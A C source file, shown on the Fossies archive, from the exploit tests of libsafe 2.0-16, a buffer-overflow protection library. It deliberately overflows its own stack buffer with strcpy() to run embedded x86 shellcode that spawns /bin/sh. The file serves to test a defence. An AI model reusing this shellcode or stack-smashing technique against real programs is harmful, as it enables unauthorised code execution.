"Fossies" - the Fresh Open Source Software Archive

Member "libsafe-2.0-16/exploits/t4.c" (12 Jun 2002, 1946 Bytes) of package /linux/misc/old/libsafe-2.0-16.tgz:


As a special service "Fossies" has tried to format the requested source page into HTML format using (guessed) C and C++ source code syntax highlighting (style: standard) with prefixed line numbers and code folding option. Alternatively you can here view or download the uninterpreted source code file.

    1 /*
    2  * $Name: release2_0-16 $
    3  * $Id: t4.c,v 1.6 2002/06/12 20:30:37 ttsai Exp $
    4  */
    5 
    6 
    7 #include <sys/types.h>
    8 #include <sys/wait.h>
    9 #include <unistd.h>
   10 #include <stdio.h>
   11 #include <string.h>
   12 #include <stdlib.h>
   13 
   14 char shellcode[] =
   15     "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
   16     "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
   17     "\x80\xe8\xdc\xff\xff\xff/bin/sh";
   18 
   19 char large_string[128];
   20 
   21 /*
   22  * Return 1 if at least one of the bytes in addr is 0x00; else return 0.
   23  */
   24 int contains_null_bytes(caddr_t addrp) {
   25     uint addr = (uint) addrp;
   26     return !(addr & 0xff &&
   27          addr & 0xff00 &&
   28          addr & 0xff0000 &&
   29          addr & 0xff000000);
   30 }
   31 
   32 void foo()
   33 {
   34     char buffer[96], *p;
   35     long *long_ptr = (long *) large_string;
   36     int i;
   37 
   38     /*
   39      * Make sure that there are no zero bytes in the starting address in
   40      * buffer[].  If so, find the first address containing no zero bytes.
   41      */
   42     for (p=buffer; contains_null_bytes(p); p++);
   43     if (contains_null_bytes(p)) {
   44     printf("We can't find an acceptable address that doesn't\n");
   45     printf("contain a zero byte.  Giving up.\n");
   46     exit(-1);
   47     }
   48 
   49     for (i = 0; i < 32; i++)
   50     *(long_ptr + i) = (int) p;
   51     for (i = 0; i < sizeof(shellcode)-1; i++)
   52     large_string[i] = shellcode[i];
   53     strcpy(p, large_string);
   54 
   55     return;
   56 }
   57 
   58 int main(int ac, char *av[])
   59 {
   60     int res;
   61 
   62     printf("This program will fork() child process, and the child\n");
   63     printf("will overflow the buffer using strcpy().\n");
   64     printf("If you get a /bin/sh prompt, then the exploit has worked.\n");
   65     printf("Press any key to continue...");
   66     getchar();
   67 
   68     if ((res = fork()) == -1) {
   69     perror("fork()");
   70     exit(1);
   71     } else if (res == 0) {
   72     foo();
   73 
   74     printf("If you see this statement, it means that the buffer\n");
   75     printf("overflow never occurred.\n");
   76 
   77     return 0;
   78     }
   79     wait(&res);
   80     printf("parent process terminating\n");
   81     return 0;
   82 }